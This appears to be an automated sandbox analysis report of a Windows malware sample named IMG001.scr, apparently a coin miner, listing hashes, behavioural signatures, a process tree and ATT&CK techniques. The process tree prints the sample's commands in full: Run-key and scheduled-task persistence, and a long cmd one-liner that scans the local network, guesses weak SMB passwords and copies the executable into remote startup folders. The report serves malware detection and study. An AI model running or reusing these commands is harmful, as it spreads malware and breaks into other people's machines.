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Analysis
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max time kernel
144s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
31/08/2023, 07:12
Static task
static1
Behavioral task
behavioral1
Sample
IMG001.scr
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
IMG001.scr
Resource
win10v2004-20230824-en
General
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Target
IMG001.scr
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Size
3.4MB
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MD5
fbbcf1e9501234d6661a0c9ae6dc01c9
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SHA1
1ca9759a324159f331e79ea6871ad62040521b41
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SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
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SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
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SSDEEP
98304:M5VPnq1y5tQOM33ZNqCtBixHl54Oyjes1Ro6:2VPq1yLanrqTr43eON
Malware Config
Signatures
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk IMG001.exe -
Executes dropped EXE 1 IoCs
pid Process 592 IMG001.exe -
Loads dropped DLL 7 IoCs
pid Process 2124 IMG001.scr 592 IMG001.exe 592 IMG001.exe 592 IMG001.exe 592 IMG001.exe 592 IMG001.exe 592 IMG001.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2969888527-3102471180-2307688834-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe" IMG001.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe" reg.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: IMG001.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\UAC.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 10 IoCs
resource yara_rule behavioral1/files/0x000900000001226c-3.dat nsis_installer_1 behavioral1/files/0x000900000001226c-3.dat nsis_installer_2 behavioral1/files/0x000900000001226c-5.dat nsis_installer_1 behavioral1/files/0x000900000001226c-5.dat nsis_installer_2 behavioral1/files/0x000900000001226c-6.dat nsis_installer_1 behavioral1/files/0x000900000001226c-6.dat nsis_installer_2 behavioral1/files/0x000900000001226c-7.dat nsis_installer_1 behavioral1/files/0x000900000001226c-7.dat nsis_installer_2 behavioral1/files/0x000900000001226c-11.dat nsis_installer_1 behavioral1/files/0x000900000001226c-11.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2860 schtasks.exe 1992 schtasks.exe -
Discovers systems in the same network 1 TTPs 1 IoCs
pid Process 1572 net.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 2476 powercfg.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeShutdownPrivilege 3052 powercfg.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2124 wrote to memory of 592 2124 IMG001.scr 28 PID 2124 wrote to memory of 592 2124 IMG001.scr 28 PID 2124 wrote to memory of 592 2124 IMG001.scr 28 PID 2124 wrote to memory of 592 2124 IMG001.scr 28 PID 592 wrote to memory of 692 592 IMG001.exe 29 PID 592 wrote to memory of 692 592 IMG001.exe 29 PID 592 wrote to memory of 692 592 IMG001.exe 29 PID 592 wrote to memory of 692 592 IMG001.exe 29 PID 592 wrote to memory of 2816 592 IMG001.exe 31 PID 592 wrote to memory of 2816 592 IMG001.exe 31 PID 592 wrote to memory of 2816 592 IMG001.exe 31 PID 592 wrote to memory of 2816 592 IMG001.exe 31 PID 592 wrote to memory of 2856 592 IMG001.exe 33 PID 592 wrote to memory of 2856 592 IMG001.exe 33 PID 592 wrote to memory of 2856 592 IMG001.exe 33 PID 592 wrote to memory of 2856 592 IMG001.exe 33 PID 592 wrote to memory of 2964 592 IMG001.exe 34 PID 592 wrote to memory of 2964 592 IMG001.exe 34 PID 592 wrote to memory of 2964 592 IMG001.exe 34 PID 592 wrote to memory of 2964 592 IMG001.exe 34 PID 2816 wrote to memory of 2860 2816 cmd.exe 36 PID 2816 wrote to memory of 2860 2816 cmd.exe 36 PID 2816 wrote to memory of 2860 2816 cmd.exe 36 PID 2816 wrote to memory of 2860 2816 cmd.exe 36 PID 692 wrote to memory of 3012 692 cmd.exe 37 PID 692 wrote to memory of 3012 692 cmd.exe 37 PID 692 wrote to memory of 3012 692 cmd.exe 37 PID 692 wrote to memory of 3012 692 cmd.exe 37 PID 2856 wrote to memory of 1992 2856 cmd.exe 39 PID 2856 wrote to memory of 1992 2856 cmd.exe 39 PID 2856 wrote to memory of 1992 2856 cmd.exe 39 PID 2856 wrote to memory of 1992 2856 cmd.exe 39 PID 2964 wrote to memory of 2476 2964 cmd.exe 40 PID 2964 wrote to memory of 2476 2964 cmd.exe 40 PID 2964 wrote to memory of 2476 2964 cmd.exe 40 PID 2964 wrote to memory of 2476 2964 cmd.exe 40 PID 2964 wrote to memory of 2736 2964 cmd.exe 41 PID 2964 wrote to memory of 2736 2964 cmd.exe 41 PID 2964 wrote to memory of 2736 2964 cmd.exe 41 PID 2964 wrote to memory of 2736 2964 cmd.exe 41 PID 2964 wrote to memory of 3052 2964 cmd.exe 42 PID 2964 wrote to memory of 3052 2964 cmd.exe 42 PID 2964 wrote to memory of 3052 2964 cmd.exe 42 PID 2964 wrote to memory of 3052 2964 cmd.exe 42 PID 592 wrote to memory of 884 592 IMG001.exe 48 PID 592 wrote to memory of 884 592 IMG001.exe 48 PID 592 wrote to memory of 884 592 IMG001.exe 48 PID 592 wrote to memory of 884 592 IMG001.exe 48 PID 884 wrote to memory of 1728 884 cmd.exe 50 PID 884 wrote to memory of 1728 884 cmd.exe 50 PID 884 wrote to memory of 1728 884 cmd.exe 50 PID 884 wrote to memory of 1728 884 cmd.exe 50 PID 1728 wrote to memory of 1572 1728 cmd.exe 51 PID 1728 wrote to memory of 1572 1728 cmd.exe 51 PID 1728 wrote to memory of 1572 1728 cmd.exe 51 PID 1728 wrote to memory of 1572 1728 cmd.exe 51 PID 1728 wrote to memory of 1772 1728 cmd.exe 52 PID 1728 wrote to memory of 1772 1728 cmd.exe 52 PID 1728 wrote to memory of 1772 1728 cmd.exe 52 PID 1728 wrote to memory of 1772 1728 cmd.exe 52 PID 884 wrote to memory of 2372 884 cmd.exe 53 PID 884 wrote to memory of 2372 884 cmd.exe 53 PID 884 wrote to memory of 2372 884 cmd.exe 53 PID 884 wrote to memory of 2372 884 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\IMG001.scr"C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:592 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ3⤵
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ4⤵
- Adds Run key to start application
PID:3012
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
- Creates scheduled task(s)
PID:2860
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1992
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0003⤵
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476
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C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\SysWOW64\powercfg.exePowercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0004⤵
- Suspicious use of AdjustPrivilegeToken
PID:3052
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1506& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))3⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"4⤵
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\SysWOW64\net.exenet view5⤵
- Discovers systems in the same network
PID:1572
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C:\Windows\SysWOW64\find.exefind /i "\\"5⤵PID:1772
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c set str_4⤵PID:2372
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
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Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
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Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
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Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
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Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140